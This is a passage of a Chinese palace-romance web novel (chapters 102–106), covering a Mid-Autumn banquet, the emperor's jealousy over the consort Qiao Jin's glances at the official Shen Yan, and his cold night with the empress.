《与君离》 第一百零二章 中秋 三日后。 乔瑾蹲在地上调试琉璃盏的角度,忽见暖阁外闪过一抹明黄。 她慌忙起身时,正看见皇帝指尖捏着片彩纸碎屑,那是她剪来做玉兔耳朵的。 “朕听说你要演光影戏?“皇帝挑眉,目光落在满地琉璃瓶上,“这些花露...倒与你入乾元殿前,朕在御花园捡到的那瓶桂花酿一个味儿。“ 乔瑾指尖猛地攥紧裙角,喉间忽然泛起那年中秋的桂花香——她蹲在太湖石后酿花露,忽闻脚步声,慌忙躲进树影里,却看见微服的皇帝弯腰拾起她遗落的琉璃瓶,月光正落在他眉间朱砂痣上,像她偷藏在心底的一颗星。 “回皇上,“她垂眸避开那道目光,“臣妾只是...想让太后娘娘瞧瞧,这宫里的月光,原也是能长出花来的。“ 皇帝忽然轻笑,将彩纸碎屑放进她掌心:“朕倒觉得,比起琉璃瓦上的月宫,这掌心的碎光更有意思。“他转身时,明黄衣袖扫过琉璃盏,光影骤然摇曳,在墙上投出一只振翅的蝴蝶——那是乔瑾未剪完的纹样。 夜露渐浓时,乔瑾终于将最后一盏琉璃灯摆好。 十二只瓶身分别刻着十二花神,烛光穿过花露,在幕布上投出流动的四季:春日桃花雨,夏日并蒂莲,秋日东篱菊,冬日踏雪梅。当最后一盏“广寒宫“亮起时,她看见玉兔捣药的影子里,藏着极小极小的两个字——“平安“。 殿外忽然传来环佩声,珍婕妤带着几个宫女探进头来:“宸嫔妹妹快瞧瞧,元充仪娘娘正让人在御花园搭戏台呢,说是要演一出《嫦娥奔月》,光戏服就用了二十匹蜀锦...“ 乔瑾眨了眨眼,她摸出袖中锦帕,将最后一枚银线绣的流星缝在月宫檐角,轻声道:“劳烦婕妤娘娘转告充仪娘娘,这天上的月亮啊...若是太亮了,星星便瞧不清了。“ 珍婕妤眨眨眼,忽然笑着拍手:“妹妹这话有趣!赶明儿我便说与太后听,就说宸嫔妹妹要在金銮殿上摘星星呢!“她蹦跳着离开时,发间的珊瑚珠串撞在门框上,发出清脆声响,倒像是提前响起的节庆爆竹。 —— 时间过得很快,后日就到了中秋佳节。 中秋夜,金銮殿檐角的琉璃灯次第亮起,如串起满天星子。 乔瑾攥着绣绷的手心里沁着薄汗,最后一枚银线流星刚缝完第三针,便听得暖阁外传来绿萝的催促:“我的娘娘!朝臣都在丹墀下候着了,娘娘你还在摆弄这劳什子——” 话音未落,珊瑚珠串撞在门框上的脆响已到近前。 原来是珍婕妤刚刚走到君心殿的门口,本来是打算直接走的,但是她也好奇这宸嫔究竟准备了什么样的东西。 所以脚步一转,走进了君心殿。 此时的珍婕妤探进半张粉面,忽然“呀”了一声:“你竟把广寒宫檐角的流星缝成了夜光珠?昨儿我见你对着萤火虫发呆,原以为你犯傻呢!” 乔瑾将绣绷塞进妆奁,指尖蹭过木盒底那片彩纸碎屑——今早她在琉璃盏旁发现这碎屑上多了道折痕,竟成了只振翅的蝴蝶。 她低头将碎光般的珠串别在鬓边,轻声道:“婕妤姐姐且走一步,我...总得带着月亮出门。” 两人穿过九曲桥时,湖面漂着的三十六盏荷花灯正巧转过弯,将乔瑾裙角的银线照得透亮。 珍婕妤忽然拽住她手腕,朝御花园方向努嘴:“你瞧那架势,元充仪生怕别人不知道她用了蜀锦金线——二十匹布裁件戏服,倒不如给边疆将士多做两床棉被。” 乔瑾顺着她目光望去,只见御花园戏台张着霓虹般的帷幔,十二名舞女正捧着金镶玉的捣药杵彩排。 为首的女子穿月白广袖流仙裙,腰间缀着拇指大的东珠,正是元充仪。 她忽然想起去年在太湖石后酿花露,用的不过是碎瓷瓶装野桂花,哪像如今这满目的珠光宝气。 丹墀上的铜鹤香炉飘来沉水香,乔瑾刚在末席站定,便听见阶下赞礼官长声唱喏:“皇上皇后驾到——” 明黄身影踏入殿时,檐角琉璃灯忽然被风拂得轻晃,将一片碎光投在君景珩眉间。 君景珩扶着皇后的手拾阶而上,目光却似不经意扫过她鬓边的夜光珠,嘴角微扬。 “给太后娘娘请安——” 众人俯身时,乔瑾听见环佩叮咚声中混着一声轻笑。 抬头只见太后由两个宫女儿扶着,鬓边斜插的正是她去年送的琉璃花簪。 太后慈眉善目地扫过席间,忽然笑道:“哀家听说,有人要在金銮殿上摘星星?” 阶下朝臣面面相觑,珍婕妤却脆生生接话:“回太后的话,是宸嫔妹妹的巧思!臣妾今日瞧她摆弄琉璃盏,那光影投在幕布上呀,比戏文里的月宫还鲜活!” 元充仪捏着帕子的手骤然收紧,乔瑾却注意到皇帝指尖轻轻叩了叩案上的琉璃盏——正是她入乾元殿前遗落的那只桂花酿瓶。 皇后端起茶盏轻抿,凤目微抬:“既是佳节,诸位妹妹不妨各展才艺。充仪妹妹的《嫦娥奔月》筹备多日,便第一个罢。” 元充仪欠身而起,水袖扬起时带起香风。 十二名舞女鱼贯而入,金杵捣药的声响中,她旋至幕布前,广袖拂过处,竟用金粉撒出“嫦娥”二字。阶下朝臣立刻爆发出喝彩,唯有太后望着那满台金光,眉间似有淡淡倦意。 一曲终了,元充仪向皇帝福身:“愿陛下如月常明,千秋万代。” 君景珩搁下茶盏,指节敲了敲案上的琉璃瓶:“充仪心意虽好,却不如宸嫔的‘平安’二字来得实在。” 席间顿时静得落针可闻。 乔瑾抬眼,正撞见皇帝指尖摩挲着瓶身上的“平安”刻痕——那是她昨夜借着烛影,用银簪子偷偷刻下的。 珍婕妤趁机拽了拽她衣袖,乔瑾会意,捧起琉璃盏起身:“臣妾献丑,愿太后娘娘...岁岁常安。” 当第一盏桃花琉璃灯亮起时,幕布上忽然飘起细密的“花瓣”——竟是乔瑾用彩纸剪的碎瓣,混着桂花露香缓缓旋落。 太后轻轻“咦”了一声,就着宫女的手凑近些,只见春日桃花雨中,竟有只振翅的蝴蝶衔着金粉写的“寿”字飞过。 “这蝴蝶...”太后转头看向皇帝,“倒像你儿时书房里的那幅画。” 皇帝目光凝在幕布上,声音轻得像落在琉璃盏上的月光:“是朕年少时随意勾勒的纹样,不想竟有人居然还记得。” 乔瑾指尖微颤,险些碰翻手中的“广寒宫”琉璃盏。 烛光穿过花露,在幕布上投出捣药玉兔,而玉兔耳尖的光影里,“平安”二字正随着烛火明灭,忽又化作极小极小的两个字——“长毋相忘”。 元充仪的帕子已被攥得变了形,却听太后忽然轻笑:“哀家这把老骨头,倒真被星星砸中了。宸嫔,待光影戏毕,你便把这琉璃盏送到哀家宫里,让哀家也瞧瞧,这掌心的碎光如何长出花来。” 乔瑾福身时,瞥见皇帝案头的琉璃瓶旁,不知何时多了片彩纸折的蝴蝶。 她忽然想起那年躲在树影里,看见微服的少年天子拾起她的琉璃瓶,月光落在他眉间朱砂痣上,像她偷藏了半生的一颗星。 而此刻,满殿碎光里,那颗星正穿过重重人影,朝她轻轻眨了眨眼。 第一百零三章 沈砚 乔瑾指尖捏着琉璃盏底座坐下时,袖口的银线流星扫过案几,在月光里划出细碎的光痕。 她低头整理裙角,余光却不经意间飘向前排——靠左首第三席的青衫男子正握着酒盏轻晃,墨发用玉冠松松束起,眉骨如远山衔月,竟比戏台上的嫦娥扮相还要清俊几分。 更叫人留意的是,这般年轻的面孔却坐在三品官员之列。 她记得赞礼官唱名时,这人姓沈,单名一个“砚”字,似是新晋的翰林院修撰,前日里刚因整顿漕运折子得了君景珩嘉奖。 “若是皇上腻了...”乔瑾盯着沈砚耳尖那抹未褪的薄红,忽然觉得喉间泛起苦涩的桂花香。 琉璃盏里的花露泛起涟漪,她这才惊觉自己攥得太紧。 抬眼时,正见沈砚将酒盏轻轻推给一旁的老臣,指节在案上叩出规律的节拍,像极了她昨夜缝流星时的针脚。 若是能把这样的人攥在掌心...乔瑾忽然想起太后宫里的金丝雀,每日清晨都会对着琉璃镜啄自己的影子,原来这宫里的人,终究都在找能映出自己的那面镜子。 琉璃盏里的烛火忽然晃了晃,乔瑾这才惊觉自己盯着人家瞧了太久。 正要收回目光,却见那沈砚忽然抬眸,眼尾微挑时,竟将她仓皇的神色尽收眼底。四目相撞的刹那,她只觉后颈腾地烧起来,指尖不受控地攥紧盏沿,连花露在玻璃上晕开的水痕都瞧不清了。 沈砚的耳尖也漫上薄红,修长指节无意识地摩挲着酒盏纹路,原本端着的清贵气度竟添了几分局促。 他垂眸时,睫毛在眼下投出鸦青色阴影,像惊起的鹤鸟掠过湖面,荡起细微的涟漪。 金銮殿上的丝竹声突然变得遥远。 乔瑾数着案头蜜饯碟子上的缠枝纹,数到第七圈时,忽闻上方传来“砰”的轻响。 她猛地抬头,只见君景珩指间的琉璃酒杯被重重搁在案上,琥珀色的葡萄酒溅出少许,在明黄桌布上洇开深色印记,像他此刻沉下来的眉眼。 四下觥筹交错,唯有皇后敏锐地转头。 她顺着君景珩目光望去,恰好看见乔瑾慌乱中碰翻琉璃盏,而绿萝正伸手欲扶,袖口的麒麟暗纹在烛火下若隐若现。 以及对面的那沈砚,目光落在乔瑾的身上。 皇后指尖轻轻叩了叩自己的鎏金护甲,唇角勾起抹极淡的笑,旋即拿起银匙给君景珩添了盏桂花酿:“陛下今日操劳,可要多饮几盏?” 君景珩盯着案上的酒渍,指节慢慢捏紧酒杯。 乔瑾离得远,却看见他眉间朱砂痣在烛影里跳动,像那年她在御花园偷藏的流萤,明明灭灭间藏着些她读不懂的情绪。 沈砚已收回手,规规矩矩地垂眸饮茶,可方才那惊鸿一瞥,却让乔瑾想起太液池里的并蒂莲——她昨日去簪花时,分明见着池子里的锦鲤正围着花茎打转,搅碎了满池月光。 殿角的漏壶滴答作响,乔瑾数到第三声时,忽然听见君景珩开口,声音比往日沉了些:“沈爱卿饱读诗书,可知‘盈盈一水间,脉脉不得语’出自何典?” 满殿朝臣霎时静下来。沈砚离席跪叩时,乔瑾看见他后颈的碎发被冷汗浸得微湿:“回陛下,此句出自《古诗十九首》,乃...乃诉相思不得之意。” 君景珩忽然轻笑,指尖摩挲着酒杯边缘:“相思么...”他抬眼时,目光掠过乔瑾鬓边的夜光珠,“倒不如‘愿我如星君如月,夜夜流光相皎洁’来得直白。” 席下有老臣捋须赞叹陛下好诗,乔瑾却觉得喉间发紧。 她想起方才对视时,沈砚眼中映着的烛火,竟与君景珩案头那盏琉璃瓶里的光一模一样——那是她用了整夜,将萤火虫的磷粉一点点调进花露里的碎光。 皇后适时举起酒盏:“值此良夜,愿陛下与太后福寿安康,愿我朝...星月长明。” 她话音未落,乔瑾忽然看见君景珩指尖轻轻拨了拨琉璃瓶,瓶身上“平安”二字的刻痕正巧对着她的方向,在月光里投出两道细瘦的影子,像谁偷偷伸出的指尖,想要触碰却又收回。 而沈砚始终垂着头,玉冠上的流苏轻轻晃动,掩住了他眼底翻涌的情绪。 乔瑾忽然想起珍婕妤说过的话:“这宫里的月亮太亮了,星星便瞧不清了。” 可此刻她望着殿上明黄的身影,只觉自己像误入星河的流萤,明明触到了月亮的温度,却被那灼人的光烫得缩回了翅膀。 漏壶的水滴答坠入铜盆,惊起檐角一只宿鸟。 乔瑾看着那黑影掠过幕布,掠过君景珩眉间的朱砂痣,掠过沈砚青衫上的暗纹,最终消失在满殿碎光里。 她忽然想起自己藏在妆奁底的彩纸碎屑,那只被君景珩折过的蝴蝶,此刻是否也像她这般,困在这鎏金错彩的牢笼里,望着可望不可即的星光? 金銮殿的烛火渐次熄灭时,丹墀下已响起朝臣们含混的告辞声。 月光将汉白玉阶染成霜色,乔瑾跟着嫔妃队伍退出殿门,忽闻身后传来皇后的珠串轻响——她回头时,正看见君景珩立在廊下,明黄身影被灯笼拉出细长的影子,像一柄横在月光里的剑。 “陛下今夜...”皇后的声音裹着桂花酿的甜香,尾音却含着不易察觉的试探。 乔瑾慌忙低头,却从金砖倒影里看见,君景珩的目光正越过众人,直直钉在她鬓边的夜光珠上。 那目光太过灼热,竟让她想起那年在御花园,他俯身拾琉璃瓶时,睫毛投在面颊上的阴影。 “你先回去。”君景珩的语气寻常,却带着不容置疑的冷硬。 乔瑾听见皇后的护甲轻轻刮过袖口织金纹路,抬头时,正撞见对方转瞬即逝的怨怼——那双凤目里的波光碎了又聚,最终化作端方的笑意:“是,陛下早些歇息。” 目送皇后的辇驾转过九曲桥,乔瑾忽然觉得后颈发凉。 她摸了摸鬓边珠串,那点夜光磷粉不知何时蹭掉了些,像被掐灭的半颗星子,身后传来靴底踩过落叶的轻响。 “宸嫔留步。” 第一百零四章 突然过来 君景珩的声音像片投进深潭的冰,乔瑾转身时,裙摆扫起几片梧桐叶。 她福身时,看见他腰间坠着的琉璃坠子——正是她去年冬至送的,用碎琉璃磨成的蝴蝶形状。 “今夜的光影戏...”君景珩抬手拨弄廊下灯笼,烛光在他眉间朱砂痣上晃了晃,“倒让朕想起御花园的太湖石。你说,若是有人躲在树影里酿花露,是不是该罚她...一辈子只能对着琉璃光?” 乔瑾指尖猛地掐进掌心,他果然什么都知道。 “陛下说笑了。”她故意将“笑”字咬得极轻,“臣妾只当陛下更喜欢...会撒金粉的嫦娥。” 君景珩瞳孔微缩,灯笼穗子突然断了一根,啪嗒落在乔瑾脚边。 她望着那截猩红穗子,想起沈砚青衫上的暗纹,忽然觉得这宫里的红都带着血腥味——不论是朱砂痣、琉璃坠,还是皇后护甲上的宝石。 “回去吧。”君景珩转身时,明黄衣袖扫过廊柱,震落几片积灰的蛛网,“夜深露重,莫要学萤火虫乱撞。” 乔瑾的手心里全是汗,直到离开了君景珩的视线,才敢松开手指。 乔瑾踩着满地碎银般的月光回到君心殿时,绣鞋尖已沾了露水。 她仰头打了个哈欠,眼角沁出泪来,却听见廊下候着的宫女忙迎上来:“小主可算回来了!奴婢早温了玫瑰露,您快些洗漱歇息吧。” “嗯。”乔瑾任她扶着跨过门槛,目光扫过案上燃了一半的香篆,忽然觉得那烟缕盘旋的模样,像极了皇帝今夜看她的眼神。 身后绿萝替她解下鬓边珠串时,她忽然按住对方手腕:“今日...可有什么人来过?” 绿萝手顿了顿,将夜光珠放进琉璃盒:“回小主,除了珍婕妤差人送了盒糖蒸酥酪,再没旁人。” 她话音未落,乔瑾已看见妆奁角露出的彩纸边缘——是她今早藏起的蝴蝶,却被挪了位置。 铜盆里的水泛着玫瑰香气,乔瑾将脸埋进温热的毛巾,忽然听见绿萝小声道:“小主的眼底青黑得厉害,可是...方才在殿上受了累?” 毛巾吸走面上的胭脂,她望着镜中苍白的脸,想起皇帝说“一辈子只能对着琉璃光”时的语气,轻声道:“不过是多看了几眼月亮,不打紧。” 鎏金香炉飘来沉水香,乔瑾抹着杏仁膏的指尖忽然停住。 她盯着镜中自己发间未落的桂花,想起沈砚案头的青玉镇纸,又想起皇帝腰间的琉璃坠子,忽觉这张脸太过苍白,像被花露泡久了的纸,一戳就破。 “去把门落了吧。”她起身时,广袖扫过妆奁,那只彩纸蝴蝶轻轻晃了晃,露出底下半片残诗。 绿萝捧着铜盆退出去,关门声像片羽毛落在心尖。 床帐垂下时,檐角风铃忽然叮咚作响。乔瑾望着帐顶绣的并蒂莲,想起皇后攥紧袖口的模样,又想起皇帝最后说的《关雎》《蒹葭》。 “小主,可要留盏灯?”绿萝在门外轻声问。 乔瑾盯着案上琉璃盏里的残烛,那点磷粉还在微微发亮,像她藏在心底的念头,灭不了,也藏不住。 “不用。”她裹紧被子,听见自己的声音闷在锦被里,“今夜的月亮格外的亮,用不着。” 夜风掀起窗纱一角,月光爬上床沿。 乔瑾闭着眼,却看见沈砚青衫上的麒麟暗纹,又看见皇帝眉间的朱砂痣。 这两个影子在她眼前交叠,忽然化作琉璃盏里的碎光,晃晃荡荡,竟比白日里的光影戏还要热闹。 乔瑾正蜷在锦被里半梦半醒,忽闻窗外传来绿萝急促的嗓音:“娘娘!娘娘!皇上...皇上往咱们院子来了!” 她猛地掀开被子坐起,绣鞋还未套上,便听见廊下环佩叮咚。 琉璃盏里的残烛被穿堂风扑得明灭不定,映得妆奁上的彩纸蝴蝶忽大忽小。 “快...快点灯!”她拽过外衫往身上披,发丝乱蓬蓬扫过面颊,却在瞥见铜镜里的狼狈时,忽然顿住——为何要慌?不过是寻常的君前奏对罢了。 铜灯盏被“咔嗒”一声拧亮,暖黄的光漫开时,皇帝的明黄身影已跨过门槛。 乔瑾福身时,外衫带子还未系好,露出颈间一点白皙,像雪地里落了片桃花瓣。 “陛下怎的这时候...”她的声音带着未醒的沙哑,尾音却被皇帝指尖抬起下颌的动作掐断。 乔瑾浑身一僵。 那目光不是白日里的灼灼,倒像太液池底的冰,冷得能冻住游鱼。 君景珩抬手挥退宫女,指尖掠过案头的琉璃盏:“朕来瞧瞧,你的星星藏好了没有。” 他忽然拿起妆奁里的彩纸蝴蝶,对着烛火转动,“听说翰林院的沈修撰,字写得不错?” 乔瑾的心跳几乎要撞破喉咙。 她看见他指腹碾过蝴蝶翅膀,那里分明有她今早新添的银线——不是“瑾”字,而是刻意改的“蝶”字。原来他连这点心思都要拆穿。 “陛下日理万机,怎会在意臣妾的小玩意儿。”她上前半步,袖中残诗的边角硌着掌心,“倒是这蝴蝶...原是照着陛下书房的画儿折的。” 君景珩猛地抬头,烛火在他眼底跳了跳。乔瑾看见自己映在他瞳孔里的影子,像被锁在琉璃盏里的萤火虫,明明有翅膀,却怎么也飞不出去。 “原来注意过。”他的声音忽然低了,指尖抚过蝴蝶翅膀,“居然还将这展示了出来。” 暖阁里的香篆突然飘来甜腻气息,乔瑾想起沈砚诗里的“嫦娥鬓上霜”,忽然福身:“陛下若是累了,臣妾让人备些醒酒汤...” “不必了。”君景珩将蝴蝶放回妆奁,转身时,月光将他的影子叠在她身上,“明日早朝,朕要听沈修撰讲《诗经》。你说,该让他讲《关雎》,还是《蒹葭》?” 门轴吱呀作响,乔瑾望着他消失在月夜里的背影,忽然跌坐在榻上。 妆奁里的蝴蝶被夜风掀起一角,露出底下半片残诗。 她伸手按住,却触到一片冰凉——那是君景珩方才放进去的碎琉璃,棱角锋利,像他最后看她的眼神。 窗外传来更夫打更的梆子声,乔瑾吹灭烛火,任由月光漫上妆奁。 琉璃盏里的磷粉还在发亮,映着彩纸蝴蝶的影子,忽明忽暗,像极了君景珩眉间那颗朱砂痣——明明近在咫尺,却永远暖不了人心。 “去把灯灭了吧。”乔瑾摸着袖口的残诗,忽然笑了一声,“原来《关雎》里的‘参差荇菜’,是这个意思。” 她吹灭铜灯,任由琉璃盏的碎光漫上来,映着墙上那只振翅的纸凤凰——此刻它的影子正慢慢变淡,像极了皇帝转身时,眉间朱砂痣上的那抹笑意。 第一百零五章 心酸 君心殿外廊下,鎏金宫灯在暮色里晃出细碎金光。 君景珩玄色衣摆扫过丹陛时,周公公哈着腰亦步亦趋跟在身后,刚要开口问“皇上是回乾元殿还是——” 周公公的话头被截断在穿堂风里。 君景珩头也不回,袍袖翻卷间掷下冷硬的尾音:“去皇后宫里。” 檐角铜铃突然叮咚作响,惊飞了檐下筑巢的燕子。 阶下值夜的宫女们垂着头,却见那明黄靴底在青石板上碾出极深的印子,转瞬又消失在九曲游廊尽头。】 坤宁宫内,鎏金兽首香炉正浮着袅袅沉水香。 皇后执银匙的手顿在琉璃碗上方,碗里的百合莲子羹泛起细碎涟漪。 她望着窗外渐渐浓稠的暮色,指尖慢慢收紧,胭脂点过的唇瓣动了动:“嬷嬷,如今这中秋佳节……皇上都不愿过来了么?” 崔嬷嬷正在整理博古架上的青瓷瓶,闻言转身时眼底掠过痛色。 她放下手中的绢帕,走过来轻轻按住主子发凉的手背:“娘娘何苦作践自己?皇上这月里连着批了七日奏折,昨儿还在御书房歇到子时……” 话音未落,廊下突然传来宫人唱喏声:“皇上驾到——” 琉璃碗底与紫檀桌沿相撞发出轻响,皇后猛然抬头,鬓边珍珠步摇晃出一片碎光。 崔嬷嬷手中的青瓷瓶险些跌落,慌忙扶住博古架,却见自家娘娘已站起身来,月白罗裙扫过满地梨花瓣,指尖还在轻轻发抖。 皇后脸上满是高兴,却是夹杂着几分不可置信的开口询问道:“……你、你听见了么?” 崔嬷嬷喉间发紧,忙不迭帮主子理了理坠着东珠的披帛,声音里却带了颤音:“是皇上的步辇声,错不了的。娘娘且放宽心,皇上……到底是惦记着您的。” 殿外廊下响起宫人屏息的动静,鎏金屏风上映出明黄身影时,皇后忽然伸手按住心口。 崔嬷嬷看见她耳后薄纱下透出的绯色,想起三十年前选秀那日,十六岁的小姑娘也是这样红着耳根,攥紧了帕子说“愿得一心人”。 皇后轻声,声音有些急促:“快……快把暖炉换成新炭,再去把皇上爱喝的云雾茶……” 脸上带着几分着急,指尖突然勾住博古架垂下的流苏,翡翠珠子在掌心滚出细密的汗痕。 她盯着鎏金屏风上晃动的光影,忽然抓住崔嬷嬷的手腕:“本宫的螺子黛是不是偏了?快帮我瞧瞧……” 崔嬷嬷被拽得踉跄半步,却看见自家娘娘眼尾的胭脂晕开淡淡水痕。 她忙从妆奁里取出象牙篦子,轻轻梳理皇后鬓边碎发,檀木梳齿碰在珍珠步摇上发出细碎轻响:“娘娘且看这烛火,把您的脸照得比月初的白海棠还俊。皇上见了,保管……” 话音戛然止住。 殿外传来明黄靴底碾过梨花瓣的声响,皇后猛地转身,腰间玉佩与香炉相撞,沉水香突然腾起一缕急烟。 崔嬷嬷看见她发间东珠坠子剧烈晃动,像极了那年暴雨夜,娘娘抱着失宠的诏书在檐下站了整宿时,眼角未落的泪。 话未说完,殿门已被宫人轻轻推开。 君景珩跨进门槛时,正看见皇后转身时遗落的绢帕——那是他去年赏的蜀锦,上面还绣着半朵未完工的并蒂莲。 鎏金烛台上,第三根蜡烛已经结出泪斑。 皇后垂着指尖,替君景珩解下明黄缎面龙纹大氅时,袖口坠着的珊瑚珠不小心勾住了他腰间玉带。 她慌忙抬头,却撞进君景珩微阖的凤眼——那里面映着跳动的烛火,却没有半分温度。 “皇上今日可乏了?”她听见自己的声音像浸在冰水里的丝帕,轻轻抖开他中衣的盘扣时,指腹触到他心口旧年箭伤的薄痂。 那是她亲自替他敷了三个月金疮药的痕迹,如今隔着一层细棉,触感凉得像殿外的青石板。 君景珩任由她褪去外袍,忽然抬手按灭了床头三盏烛台。 殿内骤然暗下来,唯有墙角鎏金香炉漏出一线暖光。他侧身躺进锦被里时,袖口扫过她膝头,声音含着几分疲惫:“睡吧。” 皇后的手悬在半空,指尖还攥着他换下的玉带銙。帐外传来更夫打更的梆子声,已是子时三刻。 她望着床榻上那道挺直的脊背,忽然想起五年前中秋,他也是这样揽着她在御花园看烟火,龙袍上还沾着她撒的桂花糖。】 “皇上明日……”她轻声开口,膝头的铜鎏金暖炉传来渐弱的温度,“可是要去椒房殿用早膳?” 帐中响起绵长的呼吸声。 君景珩翻了个身,后背对着她,腰间玉佩滑出被角,在月光下泛着冷白的光。 皇后数着香炉里沉水香的烟圈,第七个烟圈散去时,她轻轻掀开锦被躺下去,脊背与他之间隔着能容下一人的距离。】 “娘娘……”崔嬷嬷在帐外轻声唤,“可要添碳?” 皇后盯着头顶绣着并蒂莲的帐幔,听见自己喉咙里滚出沙哑的笑:“不用了。” 指尖慢慢蜷进掌心,触到掌心血玉镯子的冰凉——那是今早她特意换上的,他曾说这颜色衬她腕子白。 更声又响了一次。 君景珩的呼吸声变得均匀,皇后却睁着眼望着黑暗。 忽然有夜风吹过窗棂,吹灭了最后一盏残烛。 她听见自己对着无边的黑轻声说:“中秋的螃蟹……该用姜茶祛寒的。” 身侧的人纹丝不动。 不知过了多久,皇后的意识昏昏沉沉的,渐渐的也睡着了。 —— 卯时三刻,晨光透过雕花窗棂,在金砖上投下蛛网般的碎光。 君景珩已经坐在妆台前,任由周公公替他束发,皇后猛然惊醒时,看见镜中映出的明黄身影,鬓边玉簪撞在紫檀床头发出清响。 “皇上……”她慌忙掀开锦被,月白寝衣滑下半边肩膀,露出颈间淡青的淤痕——那是昨夜她辗转难眠时掐出的印子。 指尖刚触到他冰凉的袖口,却被他侧身避开。 “不必。”君景珩望着镜中自己眉间的朱砂痣,任由金丝蟒纹玉带在腰间收紧。 周公公捧着龙靴的手顿了顿,看见皇后悬在半空的手慢慢蜷成拳,指节泛出青白。 “臣妾习惯了……”她弯腰拾起地上的朝珠,珊瑚珠子在掌心滚出温热的凹痕,“皇上今日要见哪位大臣?可是要穿那件绣着十二章纹的……” “嗯。”君景珩突然起身,腰间玉佩扫过妆台,翡翠笔洗里的清水溅在她裙角。 他望着铜镜里她惊惶的眉眼,喉结滚动两下,转身时却撞翻了她昨夜放在案头的姜茶盏。 青瓷碎片迸裂声里,皇后看见他袍角沾了茶水,忙蹲下身去拂拭。 君景珩后退半步,靴尖碾过碎片时,瞥见她发间那支羊脂玉簪——是他登基那年赏的,簪头还雕着她最爱的并蒂莲。 “皇上龙体贵重……”她的声音闷在裙裾间,拾起碎片时划破指尖,血珠滴在他明黄靴面上,像朵突然绽放的红梅。 君景珩瞳孔骤缩,伸手要扶,却在触到她发顶时猛然收回。 “退下吧。”他转身走向殿门,晨光将他的影子拉得老长,盖住了她膝头的碎瓷。 周公公捧着御玺跟在身后,听见皇上忽然开口,声音轻得像殿角飘过的风:“把库房里的东阿阿胶……送去坤宁宫。” 崔嬷嬷慌忙进来搀扶时,看见自家娘娘正用帕子仔细擦拭那片沾了血的靴印,像在擦拭一段早已干涸的旧梦。 “娘娘的手……”崔嬷嬷掏出金创药,却被皇后推开。 她望着晨光里渐渐淡去的龙袍剪影,用染血的指尖抚过案头那盏冷透的姜茶:“原来皇上……还记得臣妾畏冷。” 第一百零六章 再见沈现 到了秦安的时辰,坤宁宫暖阁内鎏金香炉正浮着袅袅沉水香。 各宫嫔妃按位序坐定,黄花梨嵌螺钿的圆凳上,贤妃轻揉着膝头暗纹,丽昭仪的翡翠护甲正一下下叩着茶盏边沿,唯有珍婕妤腕间金镶宝石镯随动作轻晃,发出细碎声响。 铜漏滴答声里,殿外忽然响起宫女尖细的通传:“皇后娘娘驾到——” 明黄帷帐掀开时,众人齐齐福身,却在抬头瞬间微怔。 往日端坐在凤座上的皇后今日脚步略显虚浮,赤金翟凤冠下,眉梢似凝着薄霜,眼下青黑透进铅粉,连唇角惯常的温和笑意都似被晨露洇淡了几分。 “给皇后娘娘请安。”众人声线里掺着几分探究。 皇后扶着宫女的手坐下,凤纹金护甲轻轻拂过案上《女戒》卷轴,才缓缓开口:“诸位妹妹免礼。昨夜没有睡好,一时忘了辰光,来迟了。“ 她话音未落,珍婕妤已掩唇轻笑,鬓边金镶玉步摇随动作轻颤:“娘娘这话说得臣妾们心疼,昨儿皇上去了坤宁宫,原该多歇些时候的——“ 殿内忽有银针落地般的寂静。 贤妃垂眸饮了口茶,茶盏掩住的唇角似有淡淡讥诮;丽昭仪的指尖在袖中捏紧了鲛绡帕子,面上却堆起关切:“娘娘可要传太医院?这凤体......“话未说完,便被皇后抬手止住。 “不过是些琐碎事。” 皇后指尖轻轻摩挲着案上镇纸,鎏金麒麟在晨光里映出冷冽光泽,“皇上昨夜与本宫议了翊坤宫修缮银两支用,又说起秋狝宴的仪制......“ 她忽然抬眼,目光掠过珍婕妤瞬间,笑意里添了几分清寒,“妹妹若是觉得本宫怠了中宫事,大可以去养心殿同皇上说说,本宫倒想听听,这六宫协理的担子,妹妹可担得动?“ 珍婕妤的笑意僵在面上,腕间金镯猛地撞在桌沿。 暖阁外忽然掠过一声雁鸣,惊得檐下铜铃叮咚作响。 皇后忽而抚额轻咳,掌事女官立刻趋前半步:“娘娘昨儿寅时便起身,怕是......”话未说完,已被皇后用眼神止住。 “都起来吧。”皇后挥了挥手,殿内众人这才敢直起身子。 晨风中,珍婕妤望着皇后座上那团明黄身影,忽然想起去年冬至宴上,皇后也是这般笑着替皇上布菜,袖口露出的腕间却有片淡青——那时她只当是妆色不均,如今才知,原是彻夜未眠的痕迹。 铜漏又响了一声,坤宁宫的朱漆门在身后缓缓合上,将那抹疲惫的明黄锁进深深宫墙。 珍婕妤摸了摸耳垂上的东珠坠子,忽然觉得指尖发凉——这后宫的恩宠与辛劳,原是刀刃的两面,稍不留神,便要割伤自己。 一直把自己当作透明人的乔瑾此时才悄悄的走了。 —— 酉时初刻,暮色如薄纱漫过君心殿飞檐。 乔瑾攥着袖口的碎玉流苏,沿着游廊往偏殿走,青石板缝里的苔藓被鞋底碾出淡淡水痕。 转过九曲桥时,忽见前头穿湖蓝披风的男子立在梨花树下,腰间玉佩随晚风轻晃,正是中秋宴上替她捡起发簪的沈砚。 她脚步微顿,下意识往廊柱后避了半寸。 沈砚原在匆匆的往前走,听见动静脚步一顿,手中卷宗险些滑落。 四目相对时,他耳尖骤红,慌忙撩袍角行礼,腰间玉带钩撞上石桌,发出清脆声响。 “宸嫔娘娘......”他喉结轻动,目光垂在她鞋面的并蒂莲绣纹上,“臣、臣奉旨往内务府核点秋狝用度,不想在此遇见娘娘......、 话音未落,忽觉眼前人影一动——乔瑾已跨出半步,指尖几乎要触到他袖中露出的明黄卷宗边缘。 她垂眸盯着他腰间系的双鱼玉佩,琉璃眼珠在暮色里泛着冷光。 “沈大人常来后宫当差?”她声音轻得像飘在水面的荷叶,指尖却在袖中掐紧了帕子。 沈砚猛地抬头,撞进她琥珀色的瞳孔里,那目光不似寻常女子的羞怯,倒像宫人冬日里捕雀时的专注,凉丝丝地扎进心底。 “臣、臣不过偶尔......”他话音未落,远处忽然传来急促的脚步声。 周公公领着两个小太监转过月亮门,手里的提灯将人影投在粉墙上,像被风吹皱的墨画。 看见树下并排而立的两人,他手中的拂尘骤然僵住,喉头发出“咕咚“一声。 “沈大人让皇上好等啊......”周公公堆起笑,却刻意往两人中间挤了半步,袖口的金线蟒纹几乎扫到乔瑾裙摆,“皇上还道您遭了什么意外,谁知是在这儿......”他拖长尾音,目光在乔瑾素色披风上打转,嘴角笑意渐深。 沈砚这才惊觉两人站得太近,后退时撞翻了石桌上的茶盏,碎瓷声里慌忙又行礼:“是臣失仪!这就随公公去养心殿...... 